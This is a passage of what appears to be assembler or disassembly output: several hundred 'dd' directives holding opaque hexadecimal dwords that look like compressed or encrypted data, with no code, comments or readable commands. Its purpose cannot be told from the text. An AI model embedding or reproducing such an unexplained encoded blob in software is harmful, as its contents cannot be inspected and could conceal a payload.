480A0B6h, 50A51EF8h, 1440E811h, 1F4808h dd 22540EB9h, 686B4C0Ch, 20D0A056h, 0F1221CE2h, 8211C07h dd 8C470ADh, 7803448Ch, 958E1CCh, 5378A638h, 98151C4Eh dd 1889C1Fh, 5618D89Ah, 548074D8h, 28A50B98h, 286A1234h dd 0E88AAC22h, 688A6C1Eh, 2008AC38h, 481148A5h, 70A5C0BCh dd 0D4BC7091h, 989128A5h, 0B4CE8BCh, 282AE5DCh, 0E109AC10h dd 291E20A0h, 0C0941C36h, 2104F7B8h, 0E5FC216Eh, 10286B28h dd 1C0A0C10h, 0E6140223h, 0B0311968h, 216C0811h, 0E19144Ah dd 0D210192Bh, 0D5556C74h, 32535701h, 2ECC335Fh, 0E6C5E64h dd 450BB0FAh, 3C548E41h, 0D51C98E4h, 3E709C01h, 6B636981h dd 79756F43h, 2990F7Fh, 72650151h, 8935079h, 6EF4D166h dd 19ADF663h, 5F9AC11Eh, 8646331Ah, 12266771h, 0FB90579h dd 730C5346h, 44336D50h, 0E6632C69h, 0B841FA44h, 4C16818Eh dd 0CF2ED8EEh, 0B8586DC2h, 537A0349h, 8B70E1EFh, 484D0230h dd 0C379429Ch, 576F545Eh, 0C61864C3h, 0ABC06168h, 92525402h dd 0CE6CFE46h, 430E2E55h, 0F6736FE7h, 6460CC48h, 5703971Fh dd 0F5B2A372h, 8F5B1B4Fh, 732C9954h, 4EC627CFh, 50649F80h dd 28CD7069h, 0CD145C4Dh, 42EC2126h, 6F4D0D75h, 1114C664h dd 422A271Ah, 29E83336h, 3DBD4618h, 233F2564h, 71B8DF44h dd 90390969h, 211B264Fh, 2CA55886h, 54905B10h, 9E0A532Fh dd 1D0E23BCh, 1283A741h, 50337562h, 86C58973h, 1AB58226h dd 85DE43BEh, 41751F10h, 581D59E7h, 18A5BB08h, 0FA31FA9h dd 3ED32A38h, 78524E7Dh, 0C9557059h, 72088A10h, 0A691173h dd 76214482h, 0B26F500Eh, 47019737h, 9E424C02h, 0AE444276h dd 75995B23h, 64799E3Eh, 11E8848Fh, 1AF01821h, 63BE4902h dd 6F1D3652h, 704DD841h, 2C0B26AEh, 651B827Ah, 597CC5CEh dd 85E0D648h, 4455A67Ah, 8919892h, 8ECFAF2Fh, 0C5A13264h dd 9177B324h, 0CCC2CA82h, 26E1EA4Dh, 0CE664F67h, 4802E025h dd 814E2647h, 796E555Dh, 0F91E629Eh, 4C109101h, 3650E51h dd 705E30B0h, 77F26956h, 0FA664F24h, 36C45E64h, 914E103Ch dd 1335EDF6h, 0AD2467B8h, 99522014h, 0A8A15D50h, 3460650Eh dd 997CA932h, 0C64B25Dh, 0B5A3AB70h, 53CBA2E2h, 3BCDDF44h dd 0E04B940Eh, 489ACBC9h, 5070CA83h, 21689232h, 51641252h dd 596435A1h, 872C8F59h, 267F7F02h, 8C71A26Bh, 0EE754C20h dd 4620F56Ch, 45D49974h, 4338043Ah, 0E769C675h, 5F52378Ch dd 703390A0h, 5622DF50h, 7349C190h, 0D6C26C75h, 9A2093FAh dd 5E6AFA4Dh, 7552A70Ch, 1AAFD5CBh, 7C4231CEh, 2D49B427h dd 4F028C9Fh, 1CAC6E92h, 0A2723B52h, 3DD56149h, 7094E8BDh dd 858B3079h, 15616804h, 25324A8h, 624F22B0h, 0B0F3926Ah dd 49968EE0h, 7822024Dh, 5E825258h, 19CAFF64h, 299A9072h dd 8B74766Fh, 0D1140389h, 0E699DC90h, 7C0C0A6Eh, 36196F92h dd 92677289h, 4A485129h, 726C5938h, 0A5E6DF32h, 4D32672Ch dd 67129170h, 44178232h, 4D16C672h, 48020618h, 4D4170EEh dd 0B468386Ch, 0AA8AAC0Ch, 42CC5C32h, 964F7426h, 16335C77h dd 5AF028D8h, 4CAA6F7Eh, 6C7D4Ah, 0E4ACBE5Ch, 0AA10168Ch dd 117CC242h, 1E55AF50h, 0F2A05D12h, 5783AC70h, 0F359BC08h dd 0A974F649h, 9A23DEBBh, 950A0D9h, 56C44123h, 0D5A51261h dd 5A0A5095h, 0D6B39251h, 90457936h, 844C590Eh, 5603786Ch dd 0BBD056B8h, 230E2BDEh, 2C2C3885h, 427309A4h, 0F7195A0Bh dd 287CB850h, 0EEFDDA9Dh, 7C4552E1h, 0AB12B257h, 42891A4Eh dd 4392614Ch, 0BA260265h, 0A73B3454h, 38571010h, 29C252FCh dd 2838CF50h, 416C0CF5h, 448B2C1Ah, 45284F01h, 62590C4Dh dd 9968266Eh, 0D564756Eh, 0CE6058D0h, 93A314EDh, 0EE29223Ah dd 0E624DB1Ah, 1BFA144Dh, 9D4F8219h, 58A42218h, 64936E19h dd 248AA61Ch, 64C58AB1h, 61319Dh, 79C4CC32h, 3DB20D70h dd 10043F0Dh, 12B5F64Ah, 2CA921D3h, 0E5654221h, 34ECB01Dh dd 3C446814h, 0C9663842h, 3D2865C1h, 0ACFD2411h, 25889329h dd 4E87992Ah, 4910260Ah, 1005EC9Ah, 0D03E1005h, 0B893BB7Eh dd 0E54C3438h, 0E4011E92h, 5A35598Ch, 8964412h, 303F68D2h dd 2CFA9D4Eh, 0BF01D0A8h dd 36B683AFh, 4EA58140h, 9C40885h, 0E2147042h, 21E04166h dd 7208CC62h, 0E7E403D9h, 171871E5h, 100C4ADAh, 61E4E7F5h dd 0C9650201h, 49C02A28h, 0EF202962h, 6FC464C9h, 776DF673h dd 0FB6CE41Fh, 0BB021E8Eh, 4FF8FB3Ch, 560C1F44h, 3F15B177h dd 6419505Fh, 4BF0254Ah, 732F0242h, 2E296365h, 53873CBFh dd 59FB6E65h, 4F3A9F43h, 3E65253Ch, 2870112Eh, 0E90195Eh dd 0EC0C496Dh, 18AE6B63h, 6E5379FCh, 6930A798h, 0AD706D63h dd 7113AF5Dh, 0C74F73F3h, 8DBD5B89h, 915B74BFh, 2B504916h dd 0DF2E0F93h, 476D137Ah, 642520DBh, 751E5262h, 54CF8F72h dd 682AF48Eh, 0AAE60194h, 658504AEh, 0D15D5394h, 7328C681h dd 1F406A6Eh, 0BD2DCA23h, 29484D3Dh, 49F26447h, 0E1C928D4h dd 8AB26744h, 452EBBh, 0DE543AF9h, 0FEC7E316h, 0C4F870B6h dd 0E0616634h, 2C786453h, 0F4E97252h, 9B99502Fh, 904C5B65h dd 0AF52E548h, 3C912F3Eh, 0B42F23EDh, 4C74343Ch, 91FA0663h dd 622F968h, 3B0269BAh, 0E14D86F7h, 741EEB35h, 52163AD2h dd 1623ED10h, 0E4500BBDh, 2A6168Ah, 57090869h, 7850F70h dd 4F0D0233h, 29E31C09h, 1B024C07h, 455B09C0h, 0AE5D4353h dd 7002CA07h, 31460F14h, 2A60794h, 320D7154h, 55074AFBh dd 330D1340h, 950729EDh, 3E0D7302h, 9307D234h, 0D1308A1h dd 729ED35h, 0D750295h, 7D2363Eh, 53760299h, 29ED370Dh dd 77029507h, 0D2383E0Dh, 78029907h, 0ED390D53h, 2950729h dd 308FAD79h, 2D907D5h, 0FA14497Ah, 7B32C433h, 0DE193231h dd 6012C019h, 7E480F4Ch, 9B31A218h, 21033804h, 4322947h dd 0F1A803B5h, 49B33A2h, 47230338h, 0B3043429h, 72842403h dd 38049B35h, 29472503h, 3B30436h, 3772845Eh, 338049Bh dd 38294726h, 2A03B304h, 9B397284h, 28033804h, 4302947h dd 0AC2940B8h, 2DBD4414h, 885F428Ch, 883D91BBh, 1009512Bh dd 2B41545Bh, 0B2075D42h, 0F84E5102h, 1890B86h, 43942757h dd 4501440Bh, 75CF5199h, 0BA528914h, 240B1A20h, 0CDD5401h dd 1120B0Dh, 86BC4E59h, 5501890Bh, 0B432037h, 0CA490144h dd 520B6909h, 94F0126h, 910B6F52h, 0C0502601h, 1680BE8h dd 9ADCDB94h, 89FF9416h, 16C2DD01h, 968E7D70h, 9D61918Eh dd 531314EBh, 0B34D474h, 0B0B40157h, 220BA564h, 0CCA5BD01h dd 130B2966h, 9294701h, 1480B67h, 68094899h, 1440B4Ah dd 6A09CA4Ah, 126520Bh, 6B52094Bh, 3201910Bh, 946C094Ch dd 0BA01890Bh, 0B3B0994h, 0C4143A8Ah, 0C42748DEh, 0B35A2822h dd 0A20BA110h, 4C585901h, 1D10BD0h, 632A925Bh, 1890B94h dd 439C6756h, 4201440Bh, 0C5C959B9h, 94E19F5h, 440B4A6Eh dd 9CA4D01h, 26520B6Dh, 5209BC01h, 3C2B0B2Ch, 23BE1114h dd 0A23E102Eh, 612F24BFh, 0DC1C3F2Eh, 7C185C89h, 88111CE1h dd 540A435Bh, 75D4C52h, 0A3CFF0CAh, 0E54E4957h, 53020776h dd 7420420h, 2815999Ah, 257D2C91h, 0E085250h, 9102CC07h dd 161F14A3h, 76B4B4Ch, 0BBCF5826h, 7CAFF68h, 0E8F1B3E9h dd 7E4D4F48h, 0B307AC45h, 47923141h, 64EDCF55h, 0D2EC6707h dd 0AC884544h, 4133EB07h, 0FF4EC7EFh, 0C1D507B5h, 0FFEF6B9Bh dd 679607D5h, 454CD041h, 59FB5446h, 7D2D6607h, 0A407B7D0h dd 52F40499h, 50486847h, 2D33CB07h, 574FE21Ah, 280733A0h dd 0F4149002h, 32DCAA4Dh, 9C586A07h, 39C2EF7Ch, 9681736Ah dd 0B96D882Ch, 0A2F0CE60h, 2C59E76Bh, 73605960h, 44E19D9Ch dd 0DD64A261h, 396244E1h, 634314DEh, 6444E19Dh, 4314DE39h dd 44E19D65h, 14DE3966h, 0E19D6743h, 0DE396844h, 9D694314h dd 0CE6E44E1h, 0AC3A4EA8h, 79256B3Eh, 0B79643F8h, 427025F1h dd 5564E85Bh, 4FA032Dh, 4A5D333Ah, 13FCE32Fh, 88666261h dd 0CD82D320h, 1A95B70Fh, 0D214145Eh, 0EB78EBF3h, 0BAC66CDDh dd 0F0180919h, 676E1AA4h, 1957A465h, 0FD3D7367h, 10A1F85Ch dd 0C976045h, 0B80809C8h, 2E553A44h, 1550AF97h, 2C3A0A70h dd 21437618h, 901F40F2h, 8725FC24h, 213F5EE4h, 0F2AF926h dd 437E2DC8h, 1F2FF22Bh, 3DFC5C90h, 3F3FE487h, 60F92721h dd 7E7EC80Fh, 2EF12043h, 58C73F61h, 0A1C81709h, 0F21D918h dd 437E40C8h, 1F25F224h, 26FC5E90h, 3F2AE487h, 2BF92D21h dd 7E2FC80Fh, 3DF25C43h, 0FC3F901Fh, 60E48727h, 0F97E213Fh dd 2EC30F20h, 8876469h, 0F22C435Eh, 40901F21h, 0E48724FCh dd 5E213F25h, 0C80F26F9h, 2D437E2Ah, 901F2BF2h, 875CFC2Fh dd 213F3DE4h, 0F27F93Fh, 437E60C8h, 1F20F27Eh, 61682E83h dd 0A98B9D73h, 1843B094h, 901F24B2h, 952EFC25h, 0C3DCB489h dd 1D526021h, 0E32E9618h, 8760B679h, 3F246418h, 2EF82521h dd 21C48778h, 0F924213Fh, 0A5D30F25h, 88180B75h, 24437E21h dd 1F25F2h, 4B444320h, 0AED7965h, 0FB4F4AC4h, 1423D60Ah dd 98301D1h, 4B43494Eh, 0A0185C42h, 4345504Fh, 0AFAA452h dd 5C187205h, 0C355629Dh, 4931AF0Ah, 4FDD4352h, 0F1CA47BDh dd 55181160h, 88484A53h, 41508702h, 5C181A53h, 7961701Ah dd 549BBE06h, 0CA593003h, 54184C06h, 2E083084h, 746D6F63h dd 4F432E08h, 0DADEF24Dh, 6F432D07h, 0C2696B13h, 87189E3Ah dd 0FA74CB01h, 466808A0h, 1EB8DD0Fh, 156D4F42h, 6E730314h dd 0BC8C6669h, 0C22BEDCAh, 0C85E766Ah, 704885D4h, 730E7553h dd 4D636970h, 0FE380E6Fh, 0B2F1D94Bh, 0D26DB89Eh, 3E669E0Eh dd 2E112D32h, 534844F2h, 0DE4638CBh, 0FAA01950h, 41535707h dd 74638149h, 0B83E3A6Ch, 62AC5091h, 4C23ABB4h, 6948177Ah dd 5402D1h, 4B5B10EBh, 0B966C933h, 800001FAh, 0E2990B34h dd 7305EBFAh, 0EFC99DE8h, 206F362h, 0A938FDC6h, 0D9121C0Fh dd 85E9C795h, 91F17334h, 9DF36ED0h, 271C018h, 0FC607B29h dd 0EAB6EAAh, 60EAEEA7h, 8F66CDC6h, 19711228h, 18061B43h dd 10980975h, 0E0F1CD3Ah, 89CF660Dh, 0D903CDC9h, 8D168105h dd 0E6F14112h, 5D98289Dh, 4B9D4F9Bh, 89F35580h, 2AC0CAC8h dd 0EC591C81h, 0FAF100D3h, 1099FDF4h, 1A00A9FFh, 0A514CD75h dd 38CF3BDh, 647B32C0h, 89CBDD5Fh, 0A0F679Bh, 2CC510A4h dd 88D509D1h, 2BCE14C9h, 2C8CCCDh, 89861F3h, 1A9EF66h dd 95A09DCFh, 12A866FEh, 85639D91h, 0D0C89506h, 0E6A5DC12h dd 0E1B107CDh, 0A3CB4C9Ah, 6CB0B9EBh, 0D01F50AAh, 5C5D34D8h dd 279642C0h, 74FA389h, 525891EDh, 0D943E094h, 0A2036872h dd 0C37EEC86h, 0E9BD9312h, 95D8FF44h, 8512C8D2h, 529C6C3Fh dd 0C0C70A32h, 30BB715Ah, 97D71702h, 67EB7500h, 40348F2Ah dd 7657399Ch, 52F97901h, 0ECA26574h, 75FE6C90h, 0E33603Eh dd 5C5FE07Eh, 5A40A022h, 7D44844Ah, 9595870Ah, 40C324FEh dd 410FBCF3h, 89BEA8Ah, 6A1F87EDh, 3F9AE794h, 8DD70062h dd 0CECF74AAh, 0C0A6FAC8h, 97F36B19h, 3F516AC0h, 1AC6D49Fh dd 0DC9D5E06h, 1C10707Bh, 945412C7h, 5A0E9FDFh, 588A7848h dd 0DFA520C5h, 0FDA4A880h, 7C9BF3EFh, 12996F1Eh, 900163C9h dd 0EC975F1Ah, 20F9F349h, 18B1E7Ch, 0CFCB941Ah, 4065CE66h dd 9CF341D5h, 0A9ED26C8h, 0FC2C287Eh, 752CCC9Bh, 9E485E2Ah dd 59AA817Ah, 41DADE10h, 3607CE7Dh, 0DCD3669h, 0D9A466Dh dd 7F879061h, 3EBB5FDDh, 10C03801h, 627B179Dh, 0C8A1CFD4h dd 0D901A506h, 0B5DF5EFFh dd 4814CE20h, 0A27FCCDEh, 5E7DB987h, 0B522A5F9h, 18F22A6Eh dd 0CB797A8Fh, 0A78BEFDBh, 0C97D08DCh, 0D5223584h, 8C8CC860h dd 0C3494B24h, 247735CCh, 67765104h, 0EDFCDE00h, 0F60EEBC9h dd 3DFDD8FAh, 98EA38BDh, 0F80CDA99h, 1246F3EDh, 1FD87F1Dh dd 0A6F0E1DCh, 0AE293637h, 0AF6D537h, 9EFBCF4Fh, 30E034FFh dd 6D256489h, 59BEB107h, 86B0F254h, 0F7F0FB24h, 0ADF548CEh dd 0E1E37AEAh, 7C94FAF8h, 0FE76EBE9h, 8CA2FFF6h, 6B67F920h dd 53FF8502h, 5C76424Dh, 0C8951847h, 0FF128EDEh, 45B6FEh dd 20435002h, 0F54454Eh, 4B524F57h, 7776FA1Eh, 4D413C47h dd 30675759h, 0AD4E974Ch, 0F60B1506h, 0B5A25A37h, 6B08C77Ch dd 75C67F67h, 330C1E70h, 5161312Eh, 3248C54Dh, 0BC11AB58h dd 2E769F33h, 6E54F216h, 306D3220h, 7596FA16h, 2190A452h dd 0BC079073h, 0EF0CE010h, 40E48B8h, 0F3120A11h, 0ED4C87Ch dd 0A21B6980h, 0FDFCA05Eh, 970B204Ah, 0E0700882h, 6563A78Fh dd 616E4A25h, 0D3E6FEEh, 95777376h, 410230F2h, 3991030Ah dd 24B73582h, 872E3CB3h, 0DAF153CAh, 8C4B05Eh, 1EDA2220h dd 9FC85742h, 1C140359h, 0EC65A7B4h, 52E04E27h, 0F8D60840h dd 1008448Ch, 20A0CAE1h, 0E0888A15h, 4F4F4870h, 19813490h dd 0F27A006Ah, 281C49E4h, 250530AFh, 53671074h, 5CB2E62Fh dd 1A75E091h, 430454D9h, 10445CE0h, 5BDA31BEh, 32622604h dd 3610CE89h, 956F3808h, 39303278h, 13477E49h, 28D6A243h dd 0FE1013Fh, 43686428h, 0DC08A0A2h, 0FB068204h, 0DE71D018h dd 16E00EE0h, 9F1317A6h, 0A08A0201h, 2D3A0189h, 11031A02h dd 526C9091h, 3CD461DEh, 6315701Ch, 849CE2BDh, 246B2570h dd 0C6A76750h, 1C4EFB54h, 4C295437h, 0D1CD26BFh, 0C0944659h dd 45C9D450h, 51C46F3h, 71030B0Dh, 9F8C72A3h, 0E70474B8h dd 6A0640B4h, 39192800h, 11D0B10Ch, 5A8709Bh, 2ED94FC0h dd 5D6040F5h, 1CEB8A88h, 9F11C909h, 2B4500E8h, 0AF604810h dd 0F40C0AD6h, 6042FCA8h, 0B90CA010h, 47A828A1h, 0E15EA8B1h dd 0C46A00Ch, 0B5418828h, 0F6ECB604h, 908469Dh, 18401495h dd 0CB707C58h, 80470110h, 0D15C0823h, 0EBF1489h, 1138578h dd 0E9A65BABh, 1012E14Eh, 2F1822F8h, 0FEFF881Dh, 30CD0E44h dd 0CE7A4333h, 26120803h, 549B088Bh, 0EE0DB91Fh, 25B4BF05h dd 0C68212Fh, 11042620h, 109A0DADh, 0F24551Ch, 20DC88D8h dd 70420118h, 0B90F8410h, 468828A9h, 88A53C95h, 842102E4h dd 0F16C180Fh, 12010E19h, 7C2AA89Ah, 148D89E6h, 9D0103FAh dd 702D84ADh, 502758E9h, 45A37020h, 0DBB7F366h, 3315E7Eh dd 77E6755Bh, 73728D03h, 0F35D1C3Fh, 2E340CD9h, 0F1FE78F5h dd 9E466673h, 323C48E3h, 0AFB76B47h, 123E740Fh, 0F0F2FC70h dd 2B15123Ch, 843C0275h, 0FF766441h, 0E1AF6B5Dh, 69B77297h dd 34508378h, 42016C42h, 751CE13Ch, 6901BDC2h, 658554F3h dd 66EB6863h, 0A7BF2492h, 0DF1F3E0Bh, 1626710Ah, 4873758Fh dd 9F116F72h, 0C22F1729h, 0F0133CD5h, 74692B75h, 9E661E11h dd 9C2DDB70h, 443A7399h, 0EB67460Eh, 71B90406h, 821EEE38h dd 52637069h, 81660126h, 0FF071CECh, 0C85876E4h, 16D08D7Fh dd 9D586204h, 0ADA04922h, 6E14C0C9h, 0C5FA58B3h, 0A0E81D00h dd 0FDD0E544h, 24044843h, 58F80631h, 58002432h, 6445CCFDh dd 70B049h, 2C74AEDDh, 5E60D296h, 341C0D57h, 500F1970h dd 0A0211E7Ch, 96801C4Ch, 4D2A40F1h, 6AA611CEh, 0AF0B20E0h dd 93F4726Eh, 5241F853h, 0A34AC42h, 0BAADF00Dh, 0F4A80708h dd 360020Bh, 4D020408h, 0C4574F45h, 0C0A25730h, 2E0338C5h dd 293032D0h, 61189A28h, 0BD7A08B9h, 52C838B7h, 0D8184044h dd 48D81C95h, 0C4BCCC07h, 1BCD2838h, 85082964h, 0B6B92032h dd 10AB5674h, 0A6F9A5C8h, 0E4A4231Fh, 8FAA7CADh, 606474A0h dd 90495809h, 2044A86Ch, 0A5DCA478h, 91D823CCh, 0B64F0350h dd 8CFF2088h, 0EDF2CBBAh, 91486018h, 5669204h, 6C0209EEh dd 3C9710A4h, 0A7CB968h, 69B40C19h, 700E1C14h, 409398D8h dd 0A911D24Fh, 57BE1A3Dh, 0DC5821B2h, 8048588Eh, 138F4E8h dd 14433818h, 4602942h, 0C044F8A9h, 49873B7Ch, 0C581E438h dd 80031702h, 544AE90Eh, 508A0050h, 2857A6Fh, 0E848E4ADh dd 60233079h, 0D8BA8C4Bh, 610DDA21h, 2E0C2F20h, 0A978902Ah dd 28265871h, 9280E9DDh, 22486B2Eh, 1E0E4B68h, 0B8B0E5Fh dd 20A89014h, 5C9208A5h, 79E2F099h, 24A527FEh, 2D7DE832h dd 366C0634h, 0E5028D18h, 2BA4A22Eh, 20657863h, 182D9832h dd 0CCA12A88h, 28F85C02h, 16188C6Fh, 0D408007Dh, 0AA42E04Eh dd 8C0C3C08h, 2689104h, 7FFDE0CCh, 14340488h, 0A7EB0190h dd 18759F01h, 0A2139DC0h, 0B4609CF3h, 48E45A62h, 3BE1705Ah dd 5E6B97E7h, 7210333Ah, 0BAC8B884h, 0C0ADA4AAh, 0B8ACF4EFh dd 671AA5A9h, 53119B6h, 6527A53Eh, 0E7924FB3h, 0C7A59EB2h dd 641BB1B1h, 2FF84165h, 51069446h, 249C4B1Ah, 6923A974h dd 0B14A87A1h, 4942902Fh, 0F8200202h, 307362DFh, 0BCF02008h dd 0B46D6968h, 37133762h, 5AFC53D2h, 0FC508832h, 294A0FE1h dd 810C18FBh, 1D204480h, 54464B43h, 0DE77AB45h, 47407D0Dh dd 0A541FA84h, 0D1F62002h, 0A3B9021Ch, 3FBF5C02h, 478BE042h dd 504A4948h, 24EA64Bh, 5251504Fh, 0E0FD5453h, 9595818h dd 6362615Ah, 67667E00h, 6A046968h, 6E6D6C6Bh, 6071DB82h dd 2757477h, 79787776h, 0CB80307Ah, 36353433h, 39383705h dd 48632F2Bh, 0C4684B53h, 89A70143h, 10EDE8E6h, 0F6836FFh dd 63D61209h, 3E19F78Dh, 0A2E1EDB1h, 4761440h, 0D06B0F68h dd 0E2AACA2Bh, 110C9E15h, 97FAC43Fh, 7AD93087h, 0DB313E2Fh dd 99E1103Fh, 3E89D0FFh, 0F976B4E0h, 0A0B9C7D8h, 2FA4F310h dd 0D2FE315Eh, 0FF065398h, 8ED4BD56h, 9C4D432h, 0E00C6075h dd 0ECFCB760h, 4000FDADh, 837C588Dh, 53C430Eh, 93288B81h dd 5E63BB58h, 0B1EBC0Eh, 7724048Bh, 7C50F506h, 0D23FC373h dd 9932B964h, 0B8C62289h, 1F7F2732h, 4002B1C9h, 74AFF3DFh dd 0EB764303h, 101F7EF2h, 58C18F64h, 0BF60C361h, 8B182F32h dd 789C71Fh, 81F8E4EFh, 1FE9C75Ah, 39F9077Bh, 0F1047419h dd 0E9F8EB09h, 0E75AE9FAh, 52DB05DBh, 0C7F6C7F7h, 0BE4AE511h dd 1FD0CC1h, 0CA16E8Ah, 1C400E36h, 1E6E586Ch, 310756BDh dd 0BF04460Eh, 246C8F9Ah, 3C45C728h, 3E0554F3h, 4A9FEA8Ch dd 205A0F18h, 38E3EB01h, 0F734ED49h, 0FF31EEC0h, 0ACFC95A0h dd 7407E0FAh, 0DCFC107h, 0C1BBC7F5h, 0C4247C42h, 48DDE175h dd 326676A0h, 1C124B0Ch, 5431BF08h, 0DD4789E8h, 0C7FB61B4h dd 5C64EB6Fh, 0F254FA80h, 0E8FCD8A0h, 5DA0F99Eh, 0F2EF7C44h dd 85F814Fh, 0C00E8E2Eh, 9984AC99h, 0C202CAB7h, 0C7D85D29h dd 5B44E368h, 209D30CFh, 5C6689FCh, 505AC332h, 7630B264h dd 0F783585h, 705D030Eh, 68F0AD1Ch, 0B51E908h, 534FC5Fh dd 68087C50h, 315F3C00h, 0EB5660F6h, 48EFF20Dh, 167E72CEh dd 0EE8AFE98h, 0E8E7CF02h, 923374EEh, 3868F623h, 9C2BB906h dd 2490501h, 13487BA0h, 4360D8A1h, 102203DCh, 0DC9006EBh dd 71B19822h, 0DE66952Fh, 6D6302C5h, 8BEB2CC7h, 583F37ADh dd 37B05845h, 78956DFAh, 2EAECE6Ah, 5F707822h, 688D80AFh dd 274E9B4Ch, 150E9F3Eh dd 99A7AD20h, 0CD278BC5h, 2ADEE9A1h, 7BA1CFA7h, 1069249Dh dd 1938FACh, 564952EDh, 7B3DD045h, 4C515312h, 7C7DC998h dd 1422D03Bh, 0D42C5666h, 493755FAh, 50721544h, 5707AF57h dd 64615C21h, 65DDA12Ah, 0C59C615Ch, 73444174h, 0FAC52461h dd 0B2C93309h, 80812935h, 138C13Ch, 1AC70183h, 0DA321F8Ah dd 0E247D088h, 16DEF700h, 30375C4Fh, 0CD6C0059h, 0B9EBA928h dd 450379E4h, 12C536E1h, 3D058815h, 7660E62h, 1B63066Ah dd 34887971h, 0DD1830DEh, 6802CACCh, 1FD800B6h, 516C055Fh dd 75E434BEh, 451E3975h, 4D419829h, 96AB83Dh, 7E342EFCh dd 0C76E7BCEh, 0A7297E0Bh, 1166E3CCh, 64A1CFFBh, 15249067h dd 7FC0416h, 0B6ACF539h, 0CB3E6401h, 0E4F70799h, 40D0B1D7h dd 0E833AC2h, 71B83070h, 0C533181h, 0D5D4F525h, 6D6FD404h dd 65636B03h, 0F07B1E67h, 1823A74h, 31BE7F39h, 80CD34BDh dd 0BC307846h, 63EDB871h, 8B400ECBh, 41310A08h, 0C0171F14h dd 0CA662D68h, 0F24CBCE5h, 0BD6D198Ch, 42CCB584h, 4124CE3Fh dd 21135EE0h, 9CA84DDCh, 418FBBCh, 630366EEh, 4A80E573h dd 536D60A2h, 5F3B05BCh, 7A62BE25h, 637BE118h, 0F966F90Dh dd 0B80C3216h, 1065BD70h, 28FBFBD1h, 85DD0Ah, 66A13930h dd 4D501B5Dh, 5669D4E5h, 1951583Eh, 0F93EE704h, 2B062D9h dd 34F3CB8Eh, 0E267C73Dh, 83654D1Eh, 613D8432h, 0FBCB9C24h dd 75C3B367h, 0EEE0E6D9h, 69C0E1D5h, 3208CE7Ah, 479B0B33h dd 6209C87Ch, 3689D579h, 0F8EFFC70h, 2FE33072h, 982E30F4h dd 9C51486Ch, 55A24Bh, 20353234h, 266E6143h, 0C9387427h dd 7FDE297Fh, 0BA5270AFh, 512ED732h, 407925ECh, 76120BE9h dd 2BFFFA40h, 4B7C7CE4h, 4CA42F7Ch, 70E76CB7h, 57D47294h dd 0ED4212AFh, 42054EA2h, 76107563h, 0EE72CF1Dh, 64F4DF6Dh dd 6D86C884h, 6962F92Ah, 0FF36A840h, 4FC0E22Bh, 0FB8D92B1h dd 0B0A2706Dh, 3531F742h, 0D9C99730h, 423C406Eh, 411A4E49h dd 56C5952h, 0A52A65CEh, 520EA443h, 8745445h, 1FE23228h dd 0BE4F5020h, 0C6AD48D1h, 733D6EF8h, 46BD4A75h, 0DE9B14Fh dd 19DB35CDh, 78189A03h, 2A142504h, 5E5B2E90h, 0AD5D722Ch dd 0CE0A6706h, 0AD705814h, 4C934CB0h, 54534924h, 3D685059h dd 0FF0F124Fh, 83099424h, 0EA121370h, 0FDFF9364h, 0ABFCF616h dd 7CD02E4Ch, 5694E04Bh, 5425B8A5h, 294A29A1h, 0AE499549h dd 6418A574h, 0A225D41h, 45505954h, 37358138h, 0CB2F2220h dd 634AABA6h, 1FD4C6E8h, 0D06CFD4Ah, 7C5C93F1h, 48493312h dd 7E040B52h, 0A9FD2B65h, 0CC539530h, 0F04F6594h, 6B246305h dd 6414D846h, 59531419h, 6833CC18h, 2734B955h, 52E333D8h dd 0C6E69BAh, 238CB08Bh, 99318A33h, 0D0B677E4h, 35B2E03Ah dd 4B410AD0h, 48737CF5h, 6AF0202Ch, 6030152Ch, 77997DDEh dd 0DA6A2E6Eh, 62724982h, 680D586Fh, 0CF6F4374h, 2489D6EAh dd 0D6E0DA2Eh, 39E38F12h, 3B044726h, 3AB94FC2h, 433D64DFh dd 3E594B4Fh, 6D62989Dh, 8F424879h, 0D7431E64h, 692DF77Bh dd 0C0998D0Fh, 3F7F076Ch, 32126314h, 4B73132Ch, 39124838h dd 0A073783Dh, 0CF303DF6h, 12FB7058h, 9A251E42h, 67380A7Ch dd 9396C8BFh, 639634EEh, 0A244C12h, 2932DF67h, 0D3410469h dd 26107076h, 7A516152h, 368326A6h, 447F5544h, 33454EFh dd 544D4703h, 58A9224Bh, 0D5CC2D3Ch, 0A866691Ch, 0A51A87D2h dd 532A837Ch, 26144FFBh, 775BF443h, 4D5A972Eh, 0A3F5719Fh dd 0DC23D5F0h, 0B0FFB87Dh, 0D9FAE7C8h, 2641A97h, 0CD08FF8Dh dd 0A202BB4Dh, 8415E179h, 42CDAFD7h, 0F32F719Ch, 58CD657Eh dd 6D61B6D3h, 0F4B8CBCh, 8F2FE97Bh, 49DD9759h, 46A87022h dd 66A66299h, 0CC2C9B49h, 656BDCD1h, 2FF9A73Bh, 0DAB8D32Ch dd 57145017h, 0A9FFE740h, 84CA9466h, 0ABE4BD11h, 0B3F5E4B5h dd 0D9043498h, 5C089938h, 0B12B460Bh, 692302EFh, 24286051h dd 1B34CBB1h, 0EB48DDBBh, 0B27285B4h, 863C8B88h, 0D61C3EFBh dd 4F7DC00Ch, 0A2B0534Ch, 223D4E0Eh, 3C3E4333h, 682C7448h dd 3B1B2A2Fh, 0E6022D2h, 454C4241h, 4FC00AABh, 9AA5944h dd 4C4D3D40h, 504C48F3h, 923ED09Ch, 93224753h, 43809B3Ah dd 639F7F15h, 5C25654Ch, 286D052Dh, 0AF32DD30h, 9307D80Fh dd 9929140Ah, 477E64B4h, 0AF495799h, 2097488Ah, 0F988AF2h dd 6D8494A5h, 9143C9Ah, 0E758252Fh, 472A4C3Eh, 67D2C9C7h dd 0E2335908h, 34B66B64h, 4AE1D78Ch, 0BC41CF54h, 8B185238h dd 73CD822Eh, 3B9BC126h, 0F0461F5Ah, 0B8F7CCD1h, 0E8A3CBE8h dd 0D80EDECDh, 0D6A72DACh, 7378C0C8h, 0A1BAAD2Fh, 3932C2D8h dd 911F341Ah, 184DBD4Ch, 41A768B4h, 451930FDh, 1A466Ah dd 3C7C81DCh, 0BB242AA9h, 64CA32B1h, 34064C2Fh, 52E320F4h dd 6AD3A0Bh, 4D41C073h, 0FF0991DBh, 90CDBA08h, 0A17919EDh dd 5042C16Ch, 3DB15961h, 0F5C79042h, 0D3580D2Ah, 31C95869h dd 0DF562B67h, 0F88E8764h, 9428CBB4h, 0E52EADB7h, 90B95E7Eh dd 0D322D627h, 0E9AD1420h, 986A5D5Ah, 0B620ECB5h, 49583179h dd 58B25865h, 45269228h, 64558A20h, 0AD2058B1h, 3C685237h dd 52E5309Ch, 0B4CE3C2Dh, 414510C5h, 96497B23h, 